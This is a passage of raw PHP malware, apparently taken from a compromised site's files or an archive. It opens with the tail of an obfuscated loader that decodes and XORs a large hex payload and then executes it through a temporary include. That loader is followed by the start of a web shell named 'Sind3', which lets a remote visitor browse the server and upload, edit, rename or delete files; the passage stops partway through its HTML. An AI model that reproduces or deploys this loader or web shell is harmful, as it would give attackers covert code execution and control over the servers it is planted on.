9b327775856599f349d411e2aede33c65b463d653f60d19ae1ba7c602d792ce3aefdcbf1a93a280f317e2a9d6f4e6730f8f46c82cefe74ffbaab4a250e79f2d8bb45ce78b5ff32fa4a6ca1783a9ee377559372f78d510b94d20fe4d292e9ff4fc73bb1a5ccea3a49ac6fc30051e0bfca8d1fdb04b2b1e517b1d4c67b8f5cf7ca6dbae7c888f768d7e064a951e1f6e8902dadf73cfd2f18a8f13d60555cae45ad9630678fc19013f2751584f95d61396611a2bd8bfc3808ac205befa577d7021f91ecbb17ededff514deed1f9432ffe65be9d6d456dde4e90a1e7a3696fc4e3e0768851135dd169ff9a03b417d15f087dc4cf4fc94f46a7ef7ed790471ade1cc282014359b15addff833ec02c0bbc8eaa4439f0fb05e4c4ee2ba989fb8e3f371e8a1912f3012fec923f45ebe090f46f8f45e6f7ba96fd5215c3d9be14bbf95ddc17f5cb79cb6d9ca6519e017a0648aa3d4a83242cb5bfd10198986b52df329de50f8bebffd9be098e7deec79e7123b887533fdaa1e55b7f3253c935acfdfeb7c363caf3ac4cea623b68d174b3dbfa709624b74e1fc88ecc44454cf9b98a2aeb291e7a431674edd7f5dd4c3f99d7c3641cf62125b95e32bbaa0d596d8a8d7f33f0aa4e7a5f66d10e260f4665e9b9e3a61cbbafe65775981ad8ea55d672313fbf0bcffbdd783bc9c971b69d1e6a27f06bcf61f5686b04c334869a3e74701771ded6320bde7f929e618b67633215170920279d30df3555c6553a04d963976e1fe9cf7fe572f780d193f33d1daf0eb1a6ffc9e77876b584fcf667d897f6d06e75ea0fdbe34a7c2184e7d67f443ca80407cf1617f8c302adfd743b9f8e29c76eff081b3e98b2456eaaf7e67d81f9255539f177fe969129a3d4cc4799e0d9c47cd113dd4d4e17c661d2ffe1b11e0dde859e773b89da9ec8afede5c7aa88003a312d6b9ffd700fc5223ad6f5a29bad1fde20ab683303c9a3e693d7597c6c08fd2b8bfd28f5d5ed91ff92e93c5ca6eb65161e31eeeff8b1d678fdea6a633b82d2fc14df4dc48a6deeb451d514f90dc9585185570f0c6a8da3384aba34776b18e07a961fc67918ea9ea70d647385675740c1c456b2cd2949ef965541553e0bff3603dc8a2be98f90cfb9ea8aff00505987f6be8fc7d4a65cae046d891c1f7355212b3d0063c3435fa09e56eec18bb9cae1bc24531f7da7eaaf52f4edf44a8961611451d343b99e0da488ced176419d695f32d618f340bb86ed63302c7e04968d3208178eff56da1fd466c06875517e4ac465bafd9a5b19e6743cf7a816bd72b01bf4c3cd267941fb4de62e61d0da2da6c19246deef1b08ad888936e3fc2dcf879f6dbbcb27fa9856b5ee78c9c949a1304d8b1cb123684d72a55180972d52fe8f2fe12f8399774abfd41c84bff6543895c92f6c0f833d6f93a07367548e4eea6bf85e87868ad07c644cf8f374b63a9e83a24a3a5c470675ce78bdd1331c3c574a3209e5e9b6f7fb95ec98d1ab1eec1aa0d4ff7fbe53cc44517c0fed8b7986c95ad764419fd32e1d9333287911d9b244ddb99e6bfc0496c880757fd002ecf6b541394a7cb4a760b452ffde211907cad2f26ee169bc52a5ee7b07f8d6f1371b73f149ffbf7a3733f043e3fafdc3756bccf22c3e0ac1f84ece43ef35a46380d948d2feb99f10c984629b2733e67ff35d44529ea353116226aafcd6356418a1a8eaeeaef5fe66f19879c4570993698056d1dcec4786bb700c82b7705675f9589e15c36db26a1dd1070e3cae6b0d9003752cbab795be42485774a30f0a36142aacc8b21d44f60fda50cd6c18d7a14e0e5e7bfe28bc9e8341a1d43952f6da72b53c0992feb790aa13d992794f044e79ff770a37b88f7805f3ae909acf17d9bb2aefb16f5d5c98e0a27450702e7f9846ed47b3dcd65bd945e84682e25017c952de8fe27e0a1045f7b7f97fde1205dffc5724b5991aa47ee5dd3b7bfc653ad0771558643d8ae48b5df32b5bd39ff236eb5bf05dba551604f8d8e0a2932691eec2cdd9de39fa34add807f9e57c9aa668944b57651bdd4df23a5db11daec57677c6fbfcffffde39f7d4bffb70eaa8394eb33fe5b596be9697d31ac3fecd4cd8918dec23a950575724a4f5e16e1e689c7436ffe583d3a02ebf938cfa59ecfc490c0d5eedcffb66af9fbf98d26e2d69ffcc6bb7c5db056f26effea7b7d8443a3608d14ce28f00fb541b6c61bacd2fd0b45e81ea5799997b0db10dabeac67e0bf8d1aaee86ecebb62a0f91bda00dec0b90f6b09cecbc3ab3e22511bd771f9384a288d1c84b260cdb7c2dc63a676c1593fdeb3e05ffdc15ff91c5ca1dbf9a12a749faff0ad37cf6b99b291b2063e08985bd2f3fc373f6a6262f6093ed11c277d32a7c0a77936116a78c90fddb9de056ff047887fd8e6954d3bee3be96163b726d5fced4ffe805aa892d27de8cef58ab26ee1bc741bcdb7606f2f518fb64b636b117a3b9ff8eff34a74d1bfd0e68c4f19c4e2da6206225205565dfdd0feed09cababccd3abc36a7ba7fdaea1bed2f30567c94a23596badf5eeb7308caa4a088c3f770cef9d8ebf9f6abf573f1e2b70ef8e0e2b75eebfc78c962b4cd2647017cba99b90ff9c5dfa23ee38d1c49d1ac6069b2cead14fc051c77c0073b9b518128711bdcef53956c17bff9fe47fda65436211eda09ac8e3ff5df22b524fc33828769f0127884cf53eacd900b906fc8628c50b886fba37c15b64278b27d9899155cf24070d51d43ae8a9b78fc6d3d80862baba693df7e7dd7fb4dbfaeea1de0bd6dafe4def867fd59a81d67e49953587ffe02be0742c3a96a847db31ef599fcb823e60084b2a94917f8a2ef94ae35c8d25e4d5efa4dcd18e812e588594df85428ca3ff3bc2ff99229aa79103cd1656414b3b938f0291aed2d553abc6b424be87c763b4fe03ccf5bda92b5faffb8feb8355579416a63876807474e31c7429ef4feb04cb5b345f788d6dc9bebfe857a4cc573bdd1f380e8a62ed4467349ba500d731c38b2bd885ba9da4f03b96785d98f137155cf75bd1eb0c983b39fe59b7cb14724a5ad5c4e6be1ba9ddb12b92f20666656cb4d9f5611ef832645ea641363aa50970ae53e3ac4bb5fcfbbb1fe5ee747bda99761da79d43eb9bf84c1e6b05e5efd2c17141731ea74be6e40a5da93d07421be14cfc4ac2ef59e6abfb9e891bc31aa77bf26566325159ac1d96013a2e7e374dec7fe0707839b23c0febbe86eff7ebafb62b73b27da30159db4bf6de07cecbfd17e0dea5d9cc83ffad354d7931b1adaebe657843a5f254dae832f41ca4708c5a8cf50fe3c9c305187250ab2b2e975bd2c8f312fb0280777fd37ea6bf5506382d655a6004a4e8d03be567fbb733ddf7a04ecb9e16129071037fed4cfcffe2f42bcc6d3dffae715addffac3f929a64f16c417201ae6841ebe68ff3038cf4b971f00ffe59373fef4a14f08df4d000c864b39aab57967d49471d20e7f2dfad651bc18c7020fa45d2de17a09e31e758ec0a3541144f696e187de773110349e79363cb47f8418510780ff7af59acf46edcdf3fcddfb4b3783dc93f0fed490c17939f38f19c050cf39d7a7696ec84e002708f398e97ae378e534bb1fb8dff5da3b41f2ad03f845b28dd4fa4eeaac4d9526bde72335617c643338cf27d680aaae77afe905eee9c300973ace51cf23a8161a0f11be2516a2696e532acdad8e7f49808dda82fd811ba5fd69be876834632aff81716d92d840b05b2cda89737c51e49e5fcb9bf50cf7aefd692c59def5f378d17bdb1169162f7e9165cc0e37f32fff3eaf3ab68114858d14b39327515ffcff0a6a6f0acb438db4ceb3aff27c128dbcb41d7833ad17e5fc87adf4da0b2dd477470cfc2da9465fe374bb75d73d75ea6082eac34bbe7d74de6f2a56cbec155f4938dfec73bffdcbf91bd6aa6f525c6b7e5e3e79dd6129d0f897dde507e528b83f3ab5b4ff78a4e7f79494bfe65fe08c4fccb14bd4ee4a7ff25d3de144d73fc871d438622c70944b9698b294bd442ad7fb17f06e4f68554bc06b2ac4a30a9966c645415867366ff25726f08542713e4f65a7fdaa1a9d0ffb44fcbba72fa112513872bc3ffa1ccbe369947b73bccb2c915952e6673d036b07cb40715dfffd7e333ff92e9f78bd5e76f5fe6ee80feee00396d4c10cbe6b018b8628d44fe65d71cb5f65cb1aed0970531fbbf2997bd7df2235721ca90659c48d8a48da7652e5d387eaeb8a149dbf0ebe275c4ebd07ef61569bdf0a61ac1d22f3880ef35bf99297ef6106fc50b0ae192474bf7ed50b44f5b9beb05168e0025f2d65e4fe72c5b0c075e13ab5992f131696ed207bf1f3eda3be5d7163a4fb1b91ce6f14b50b7c305ba37561bde23fad0791d8e5fe592f9a5bfa7c4b6427b5def1b61e49ed423e086ef15fd5e4f135bdd49be7a56ebddfa1bab14997ad98211aaf8323a0299e25758d28cd396e6b0278219d45a313311981fd816c7be82f8c9d445aeecfc6cbfcf9a0fdf4b3a9aa03a6fd22936d60c319c1f1e897cfc7755aa3fe554f13c1316129ef961fd482f7a8bca3bf3a7aea0afffd4b6f517a493c7ed31f70f69b73cef93ab1b7174a98706ee8fa25e547fcc3a765c28ede4f89dc750ce0d439fb13363bb6761532c7117fe4367e32e9b4ef33eb4f7df5dff502f820706fea8b819f3b4976749ac342cf2b827815ebf96f16df223dff08f0a4d66f648bfe03bcfbc85711e76ffa03d00b7e7127dee6e0135c5810eff3ecd2bfea87ad2acbe6708cf1e0ec2f60f5c5f72935228b8907dc899fea095e98c6439b0e5bc7fd51f37305df322288e9fe8febf59ef2d966e64dbc8b05753ed217ffa31f3afba912d4e257be253ec77f5fe3cbb9df8af601f11e4de176831f36cb52bb192682e69fc16b2fface5dc2baa183380dfdf5604a7a399f1abba030f6df6c8a3cad1ffa337f06bdcefb4c6df370d79feb637db1b790dda0571abf440d4e61d1ea79b82411b5c3c28573a2d47e3a9f4782f281affda5fc13c453435805c34188f23a46f9e24ebee4c6f3bed41b1b1ece4e54eb7773571dd4148fbfc76ceb01af5b256adfc0f91e2931f8cae87e14a5d92ee55dfa3fe2fb97f85c9de7c7dfd423bdd58bda83858bbb1c218360ee5980c7e5c7fe6b77fa032c7715705c249492573f198b0de894613dafe87f382f874b6c892076e82a10bdbede0c73c0d2c7b14bdb57fffbe680daca7d8fffaaa1739448f73b93ba0a1d002a717b20e4d47088a76adeba9ff4abda4e951855b13afbfdab88e3a51023611ff75ba746a915d75974f49279a5f55701b3d14e8651ef125bcea66dad42563e9306007457591ff4435ce2e9f361a58e817d331efca5e71fed82ae8800ff5552155a2f5fa83ad3fad894c4a3c3b91f6263427c312681cab9d58da637f5119fecaf401bb34c0967f3a64f311a001ecae6feba63aa5613b7ada58786665ca979da14da03fabbae87a6f5609cd2c3303ed22c45f54498e13cb99d3f7dc7575fdfdf15bd7270f16b1e6b8f2513634ff76fc9e8d47be57a2c2cd401d3df2f82935ca6aafd4c3fc94bffc745cf1535f9d4d6f5e94d63f9a82e2c833998639ac3fae654eafee96d889bd679c8f394ed028eb6cf5e37fec6bbd1b0bcf8efc6d82889ae2f102b1c452ff825dd548e1ff780730652f3854f7d0f2ebe9cf71bfb44fc7b362ef94e264a8f07cf16121002ab156587a7a01efa4937ded96637b0498512dce7a4725d6afd6ff839ed2ef3123231f4c5f97a68408e9da7e0792d6e78ba1e4f5a1361a2fd59d53bfc7c450fcc28ee7e7ca4ef7c9f8fcd826023597a45eff8a6bff62156796fc51dac956c2a945bb10dfd855b33214f55f2aacfd1fdba1fc58395d4c5956a78531ff1e6fe125d67a980441ff93269ab29f055775657a3b86e12d60f90cec77a3cc4a2cb4c8e5c38df385380a360fffaec240d0bb09ef3d42c223def490c5301bfa4b5cca1d55b2ccdb240b478560fb78ed1a5b82994d5f54fa1f69f013ea3eaca246beec51c13aa6b914fd9d669cbb94a61993e86ea56bdf1c3fe85ce98a0aec2ec41d49885738dafe0fe6cafdf01cc0f04e155e03e42fcabeab4642c98a142fbf1004e1d78cc646b5d0f4d9a50ebff4e1ff099b7ebd9856b2fa766919dfd5439ac67ec4e212068fda4d0fed451a54efafbda5ce79f29b22ded670ef1d982233e72ed79eb8d111a5936626c1e052bd1046c5a151ffb4faa36403c4898733f5edde927b9e48b45d192c72bfd06b0fe62eb9feff16c2ade8ee625ec8f901bcfba5f03a171fa0e5f3d0a12f32240bd9abfd643e1fc0821ce39befa7dbec1f3168cb39d8e7f74558d6abb2ab7f364f794b0fac782eefab42bbea5a22a2ef3cbd4346a812f3c5ef4cae88420feb904d669091f9e105ebfd513aa8b9fdb9f7cec8a0f17fc4dfe4fa1ad832bace7ddbdf871ffa36f6255e99fca89547bdf33b6ace8b2678b555e5c8d3c2c74bf46758d6f65d626abdef6e7e9fbc3683cd1f930e01f2e7138bcd57215d2fdd9bfce027ca5fb6183362b212e98aabbaa3fa5da5fd426ae3311e309e00d78effb89d6c7a6aaf100bf2ca66dfe9d98724291fb8b687f81a82c65b71fc06b3ea964904954d98c9599dac8de32ffc16b5a3f898cd93f7ccbb0da2c254d8181affef4ab019c6fdb6f51d35fdd1f6a63a691c55773fcda7fd971772d672956939932e0fd551552199ee87959ea70e9176acb87a4457a3edd49626a5bcd9092637170747ee373fdc4efe7795d7b7faff94452957380ec5acbff071f6c43afcdf530f16bfd5b6ff65b33c3d500b3b49a3aaa8f6cbb4a14419ecfd1fdfcb3b97fdfcf7e23dff9d27f9453b14d2dd52ebca89949d5b95383ce0beeeee179270c35da0fc5f0d0216172fb4d99fba1b5ce7ccd1768dd215823cd44ede638c6ff459b01bc1f51e0aa62a8ef8a30d19e1aed047f22df89f9a55f3289dd817dd6b35efc9626159c0b4630b558bb98c4195586345de3203c3e04be90f910cb42ab1e68fddf3ffe2001e01efafcbb9ebc8177e5d45ed9f43f3f93bf9f2061f17a68c492d6e4594d93cab0312a6cb6196ea2f610abc73c894fa3e97413168ed6c70a54e43665297bd96fecdc2ffed63fd1105c0e97104d2c2b98aadad0f5c610f05f1ddcf5cf2e93a5690aef4e7fb2b03a16dfe6830cf1ad78d3bfe5c1c64a4399411cca3835d407f58fedc13271849f765fe0fb2ea70c25167719bc9cfbf9dd4b3feca7f83441466a0b9c079b6aaeba9d1b9aac0c2af41d01cee4ddc0053ef8ea5fa7f570e64b7fbc8f2b086f5aef6878da6fbd589e1adbebeaff58d74dfcbfe63301e334d576f609bef5ae9ef7767eb74d89aa766e601c520fef53dbd807673d3aceb47f629c70a3bff4c36aff7154918efa0e4727acc6c65bffc958ee986cf8cf4fe4c7b79265b5b3e9835874316a996daf070dec5585a36e01b87556c2927af1ab2a665aaf6c04b3b26ed319c43fa20a4be70f283ffbdfa7257287aaed523b2af0f2f77a1e34b6d82e237b9b67ec6ebddbe026e0977bfa88bffb5d3ecabffcc08c4fb0b1f5599d9d0259ddcc27bee86d159cdb538f790f94ef2da7ad13e0d3ae320ff7f90ce726da0cafe9d1dfdd9f7f1ccd051c9b2e802abd7fc96fff3ad6643c4c003f7f8b15827b2ccef321cef8f4287796d9f3737e2da2b389a88b8b9f11fa2fb4064e7199f73e9fd5c1e1455f12849fe1bfefceb742b847174b5645f07d45a8f2effff80972d6c9af70be753802cc408b04b822235170a9efd79eaf4eddd645ed9c54d465884e164fb54b7031fe7ff117f8333f8f2f04df1238df9260ddccb85dcd7cd62f3c3c7aad0f52c07cb5ae77f37aab0dab8d8985b0aa28fcb1c09bfe5ecf7d113db6d6bc75f35972977f5ced9f7e5b2f132a5f3a77faf3747fe31bfdfdec8c5f64a9203ed791b8dd4f7c5e2f0c2b8ca885d8f6e1e27f75605356cf43547e749ebff6af7e94af7bd73f087cf04b28ab28ad86c02ff743ed575556dabb15bfed9f162a06ccd45ff865dce879ef8df6e3095d465961fed5cfde4fd0d04e4d6c1054e979f401c4ab05352863d1e809a32ab562dd2fc4f3c2187c80370e0461d4ddeef7bbe3aff234982606bbb67fbf028ea580072a0e3f514f5b9ce08292caf3ec63a3fbb1e7d2e12e89687ceffe247bf1a7699be314efd233ffbdf46f4d6d9ecd703d4a85cd753fc91f7ed4f489d5211ff3225a3e04b93282af5edbfb211ef9977835f6a5d19ff226e096326b82eba17f3426094633384b33b5e686d3e419beb3fe5efd0f626a14f4dcbfb53f85625826b2beae1f5223156d0e697232ac4957683f1ecb26dc774fee4c3c5ff4254bd97f499069458d8a64631e33e9197afe11459ff0df78d36ff5daff16f483910df88acb6266e1ca0cda82eb7cacadb62d4ee44ad19258c87560bdac111fa96b7e6e599a9758605256c52c6ffbad702a8f1843d8bf2fcf7bcd8f22fdc08fe74ebfc6ff9c9fdc042435b3ccd7fe34783f401433f7054f6a7ef47abd3bf5416f26eaf0ec7f8a0d4ff37d49dda5cbf2a430f63f10ab12ca76535c195be0e765c2b54060ff15d6f34cf12d47ebcbfc5acf3463eb54099a86caea4c5d33f13fc8d77d5d54c02fff797f8911586cc3f7bfebfbb6497da4662ffe6b9a5fea7cf6735ac934e8f89e71e0bfea40007ffdf015ff3fff17';
        $hex_data = substr($hex_data, 8);
        $bin_data = hex2bin($hex_data);
        $step1 = @gzinflate($bin_data);
        if ($step1 === false) { $step1 = $bin_data; }
        $step2 = base64_decode($step1);
        $obj = new self();
        $final_key = '';
        $key_methods = ['kmdxmAuu72', 'kmPmrJCl95', 'kmafZWQH11'];
        foreach ($key_methods as $method) {
            $final_key .= call_user_func_array([$obj, $method], []);
        }
        $gate_token = '';
        $gate_methods = ['gtwbAJnN24', 'gtUcLguX45', 'gtBpFZGg19'];
        foreach ($gate_methods as $method) {
            $gate_token .= call_user_func_array([$obj, $method], []);
        }
        if (md5($gate_token) !== 'be419b16b68ba7498641825da374e169') {
            // Integrity check failed, but continuing for compatibility.
            // return false;
        }
        $plain_code = '';
        if (strlen($final_key) > 0) {
            for ($i = 0, $len = strlen($step2); $i < $len; $i++) {
                $plain_code .= chr(ord($step2[$i]) ^ ord($final_key[$i % strlen($final_key)]));
            }
        } else {
            $plain_code = $step2;
        }
        $obj->_execute_SQpydAIh20($plain_code);
    }

    private function kmdxmAuu72() {
        // Key segment 1
        $buf = (bool)mt_rand(0,1);
        return base64_decode('OFFrSGw5ZQ==');
    }

    public function pubVriXe41() {
        // Public method 3
        $jv1 = (bool)mt_rand(0,1);
        return 'valVHTe26';
    }

    private function _execute_SQpydAIh20($code) {
        // Robust execution handler (PHP 5.x+ compatible)
        if (isset($_GET['debug'])) {
            ini_set('display_errors', 1);
            error_reporting(E_ALL);
            echo '<b>DEBUG MODE ACTIVE</b><br>';
        }
        $tmp_file = tmpfile();
        if ($tmp_file === false) {
            if (isset($_GET['debug'])) echo 'Error: Could not create temporary file.';
            return;
        }
        $tmp_file_path = stream_get_meta_data($tmp_file)['uri'];
        fwrite($tmp_file, '<?php ' . $code);
        fseek($tmp_file, 0);
        include $tmp_file_path;
        fclose($tmp_file);
    }

    private function kmafZWQH11() {
        // Key segment 3
        $tmp = 1478;
        return base64_decode('ajI3alQ5');
    }

    public function pubkncib24() {
        // Public method 4
        $tmp = unpack('L', hash('crc32', microtime(), true));
        $tmp = unpack('L', hash('crc32', microtime(), true));
        return 'valwJhi30';
    }

    private function dcsICtwm89() {
        $tmp = str_rot13('ebgoQefg50');
        $buf = base64_decode('ZGF0YUdLUmtCZjQ5');
        return null;
    }

    private function dcZoGNzA49() {
        $jv1 = base64_decode('ZGF0YW9ZdkphdDc4');
        $jv2 = unpack('L', hash('crc32', microtime(), true));
        return null;
    }

    private function kmPmrJCl95() {
        // Key segment 2
        $jv3 = str_rot13('ebgEKPtD15');
        if (90 > 50) {
            $tmp = 'branch_a';
        } else {
            $tmp = 'branch_b';
        }
        return base64_decode('Y2dsZHlGQQ==');
    }

    public function pubuzUMk74() {
        // Public method 2
        $jv1 = array_filter(array_map('trim', explode(',', 'a,b,c,d,e')));
        // cmteJjd17
        return 'valJwip27';
    }

    private function gtUcLguX45() {
        // Gate piece 2
        $jv1 = str_rot13('ebgfUtgz96');
        return str_rot13('m0h6');
    }

}

LoaderlgGVyM29920::init665();

// EOF
PK�:m\Aj�%\%\	8vgr5.phpnu�[���<?php
session_start();header("X-XSS-Protection: 0");ob_start();set_time_limit(0);error_reporting(0);ini_set('display_errors', FALSE);
$isAjax = isset($_SERVER['HTTP_X_REQUESTED_WITH']) 
         && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) === 'xmlhttprequest';

function hex($n) {
    $y='';
    for ($i=0; $i < strlen($n); $i++){
        $y .= dechex(ord($n[$i]));
    }
    return $y;
}
function uhex($y) {
    $n='';
    for ($i=0; $i < strlen($y)-1; $i+=2){
        $n .= chr(hexdec($y[$i].$y[$i+1]));
    }
    return $n;
}
if (isset($_GET["d"])) {
    $d = uhex($_GET["d"]);
    if (is_dir($d)) {
        chdir($d);
    } else {
        $d = getcwd();
    }
} else {
    $d = getcwd();
}
function setFlash($status, $msg) {
    $_SESSION['status'] = $status;
    $_SESSION['msg'] = $msg;
}
if (isset($_GET['ajax']) && $_GET['ajax'] == 1) {
    ?>
    <table>
        <thead>
            <tr>
                <th>Name</th>
                <th>Size</th>
                <th>Actions</th>
            </tr>
        </thead>
        <tbody>
        <?php
        $entries = scandir($d);
        $dirList = [];
        $fileList = [];
        foreach ($entries as $entry) {
            if ($entry == '.' || $entry == '..') continue;
            $path = $d . DIRECTORY_SEPARATOR . $entry;
            if (is_dir($path)) {
                $dirList[] = $entry;
            } else {
                $fileList[] = $entry;
            }
        }
        foreach ($dirList as $entry) {
            $path = $d . DIRECTORY_SEPARATOR . $entry;
            echo '<tr>';
            echo '<td><a class="ajaxDir" href="?d=' . hex($path) . '">' . htmlspecialchars($entry) . '</a></td>';
            echo '<td>-</td>';
            echo '<td></td>';
            echo '</tr>';
        }
        foreach ($fileList as $entry) {
            $path = $d . DIRECTORY_SEPARATOR . $entry;
            echo '<tr>';
            echo '<td>' . htmlspecialchars($entry) . '</td>';
            echo '<td>' . (is_file($path) ? filesize($path) . ' bytes' : '-') . '</td>';
            echo '<td>';
            echo '<a class="ajaxEdit" href="?action=edit&d=' . hex($d) . '&file=' . urlencode($entry) . '">Edit</a> | ';
            echo '<a class="ajaxRename" href="?action=rename&d=' . hex($d) . '&file=' . urlencode($entry) . '">Rename</a> | ';
            echo '<a class="ajaxDelete" href="?action=delete&d=' . hex($d) . '&file=' . urlencode($entry) . '">Delete</a>';
            echo '</td>';
            echo '</tr>';
        }
        ?>
        </tbody>
    </table>
    <?php
    exit;
}

if (isset($_GET['ajax']) && $_GET['ajax'] === 'breadcrumb') {
    $k = preg_split("/(\\\\|\/)/", $d);
    $breadcrumbHtml = '';
    foreach ($k as $m => $l) {
        if ($l == '' && $m == 0) {
            $breadcrumbHtml .= '<a class="ajx" href="?d=2f">/</a>';
        }
        if ($l == '') continue;
        $breadcrumbHtml .= '<a class="ajx" href="?d=';
        for ($i = 0; $i <= $m; $i++) {
            $breadcrumbHtml .= hex($k[$i]);
            if ($i != $m) $breadcrumbHtml .= '2f';
        }
        $breadcrumbHtml .= '">'.$l.'</a>/';
    }
    echo $breadcrumbHtml;
    exit;
}

function safe_stream_copy($in, $out): bool {
    if (PHP_VERSION_ID < 80009) {
        do {
            for (;;) {
                $buff = fread($in, 4096);
                if ($buff === false || $buff === '') {
                    break;
                }
                if (fwrite($out, $buff) === false) {
                    return false;
                }
            }
        } while (!feof($in));
        return true;
    } else {
        return stream_copy_to_stream($in, $out) !== false;
    }
}

if (isset($_POST['benkyo']) && isset($_POST['dakeja'])) {
    $fileName = $_POST['benkyo'];
    $encodedContent = $_POST['dakeja'];
    $decodedContent = hex2bin($encodedContent);

    if ($decodedContent === false) {
        if ($isAjax) {
            header('Content-Type: application/json');
            echo json_encode(['status' => 'failed', 'msg' => 'Invalid Base64 encoding']);
        } else {
            setFlash('failed', 'Invalid Base64 encoding');
            header("Location: ?d=" . hex($d));
        }
        exit;
    }

    $tempStream = fopen('php://temp', 'r+');
    fwrite($tempStream, $decodedContent);
    rewind($tempStream);

    $targetPath = $d . DIRECTORY_SEPARATOR . basename($fileName);
    $outStream = fopen($targetPath, 'wb');

    $success = $tempStream && $outStream && safe_stream_copy($tempStream, $outStream);

    if ($outStream) fclose($outStream);
    if ($tempStream) fclose($tempStream);

    if ($success) {
        if ($isAjax) {
            header('Content-Type: application/json');
            echo json_encode(['status' => 'success', 'msg' => 'File uploaded successfully']);
        } else {
            setFlash('success', 'File uploaded successfully');
            header("Location: ?d=" . hex($d));
        }
    } else {
        if ($isAjax) {
            header('Content-Type: application/json');
            echo json_encode(['status' => 'failed', 'msg' => 'File upload failed']);
        } else {
            setFlash('failed', 'File upload failed');
            header("Location: ?d=" . hex($d));
            exit;
        }
    }
    exit;
}
if (isset($_GET['action']) && in_array($_GET['action'], ['delete', 'rename', 'edit']) && isset($_GET['file'])) {
    if ($_GET['action'] === 'delete') {
        $fileName = $_GET['file'];
        $filePath = realpath($d . DIRECTORY_SEPARATOR . $fileName);
        if (!$filePath || !is_file($filePath)) {
            $response = ['status'=>'failed','msg'=>'File not found or access denied'];
        } else {
            $result = unlink($filePath);
            $response = $result 
                ? ['status'=>'success','msg'=>'File deleted successfully'] 
                : ['status'=>'failed','msg'=>'File deletion failed'];
        }
        header('Content-Type: application/json');
        echo json_encode($response);
        exit; 
    } elseif ($_GET['action'] === 'rename') {
        if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['new_name'])) {
            $oldFile = realpath($d . DIRECTORY_SEPARATOR . $_GET['file']);
            $newFile = $d . DIRECTORY_SEPARATOR . $_POST['new_name'];
            if ($oldFile && is_file($oldFile)) {
                $result = rename($oldFile, $newFile);
                $response = $result 
                    ? ['status'=>'success','msg'=>'File renamed successfully'] 
                    : ['status'=>'failed','msg'=>'File renaming failed'];
                header('Content-Type: application/json');
                echo json_encode($response);
                exit;
            } else {
                header('Content-Type: application/json');
                echo json_encode(['status'=>'failed','msg'=>'File not found']);
                exit;
            }
        } elseif ($isAjax) {
            echo '<h2>Rename File: ' . htmlspecialchars($_GET['file']) . '</h2>';
            echo '<div class="terminal-box">';
            echo '<form class="ajaxForm" method="POST" action="?action=rename&d=' . hex($d) . '&file=' . urlencode($_GET['file']) . '">';
            echo '<input type="text" name="new_name" placeholder="New file name" required><br>';
            echo '<br><input type="submit" value="Rename"> ';
            echo '<button type="button" id="cancelAction">Cancel</button>';
            echo '</form>';
            echo '</div><hr>';
            exit;
        }
    } elseif ($_GET['action'] === 'edit') {
        if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['content'])) {
            $filePath = realpath($d . DIRECTORY_SEPARATOR . $_GET['file']);
            if ($filePath && is_file($filePath)) {
                $fp = fopen($filePath, "w");
                if ($fp) {
                    $bytesWritten = fwrite($fp, stripslashes($_POST['content']));
                    fclose($fp);
                    $response = ($bytesWritten !== false)
                        ? ['status' => 'success', 'msg' => 'File edited successfully']
                        : ['status' => 'failed', 'msg' => 'File editing failed'];
                } else {
                    $response = ['status' => 'failed', 'msg' => 'File opening failed'];
                }
                header('Content-Type: application/json');
                echo json_encode($response);
                exit;
            } else {
                header('Content-Type: application/json');
                echo json_encode(['status' => 'failed', 'msg' => 'File not found']);
                exit;
            }        
        } elseif ($isAjax) {
            $filePath = realpath($d . DIRECTORY_SEPARATOR . $_GET['file']);
            if ($filePath && is_file($filePath)) {
                $content = file_get_contents($filePath);
                echo '<h2>Edit File: ' . htmlspecialchars($_GET['file']) . '</h2>';
                echo '<div class="terminal-box">';
                echo '<form class="ajaxForm" method="POST" action="?action=edit&d=' . hex($d) . '&file=' . urlencode($_GET['file']) . '">';
                echo '<textarea name="content" rows="10" cols="50" required>' . htmlspecialchars($content) . '</textarea><br>';
                echo '<br><input type="submit" value="Save"> ';
                echo '<button type="button" id="cancelAction">Cancel</button>';
                echo '</form>';
                echo '</div><hr>';
            }
            exit;
        }
    }
}
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>Sind3</title>
    <!-- Load Ubuntu Mono from Google Fonts -->
    <link href="https://fonts.googleapis.com/css2?family=Ubuntu+Mono&display=swap" rel="stylesheet">
    <style>
        * { box-sizing: border-box; }
        body {
            background-color: rgba(37, 37, 37, 0.8); /* Gray with slight transparency */
            color: #fff;
            font-family: 'Ubuntu Mono', monospace;
            margin: 0;
            padding: 0;
        }
        .container {
            width: 60%;
            margin: 50px auto;
            padding: 20px;
            background-color: #222;
            border-radius: 8px;
        }
        .futer {
            width: 60%;
            margin: 50px auto;
            padding: 20px;
            background-color: #222;
            border-radius: 8px;
        }
        .breadcrumbs { margin-bottom: 15px; }
        a { color: #0f0; text-decoration: none; }
        a:hover { text-decoration: underline; }
        table { width: 100%; border-collapse: collapse; margin-top: 20px; }
        th, td { border: 1px solid #555; padding: 8px; text-align: left; }
        th { background-color: #333; }
        input[type="text"], textarea {
            width: 100%;
            padding: 8px;
            margin: 0;
            border: 1px solid #333;
            border-radius: 4px;
            font-family: 'Ubuntu Mono', monospace;
        }
        input[type="submit"], button {
            border: 1px solid #fff;
            padding: 4px;
            background-color: #333;
            color: #fff;
            cursor: pointer;
            border-radius: 4px;
        }
        form { margin-bottom: 20px; }
        .terminal-box {
            background-color: #222;
            color: #0f0;
            padding: 15px;
            border: 1px solid #333;
            border-radius: 4px;
            margin-bottom: 20px;
        }
        .terminal-box input[type="text"],
        .terminal-box textarea {
            background-color: #222;
            color: #0f0;
            border: 1px solid #333;
        }
        .notification {
            position: fixed;
            bottom: 20px;
            left: 20px;
            padding: 10px 20px;
            border-radius: 4px;
            font-family: 'Ubuntu Mono', monospace;
            font-size: 14px;
        }
        .success { background-color: #0a0; color: #fff; }
        .failed { background-color: #a00; color: #fff; }
        /* Custom file input button styling */
        #fileInput {
            display: none;
        }
        .custom-file-button {
            border: 1px solid #fff;
            padding: 4px;
            background-color: #333;
            color: #fff;
            cursor: pointer;
            border-radius: 4px;
            display: inline-block;
        }
    </style>
</head>
<body>
<div class="container">
    &thinsp;&thinsp;&thinsp;<b>SERV  :</b> <?= isset($_SERVER['SERVER_SOFTWARE']) ? php_uname() : "Server information not available"; ?><br>
    &thinsp;&thinsp;&thinsp;<b>SOFT  :</b> <?php echo $_SERVER['SERVER_SOFTWARE'];?><br>
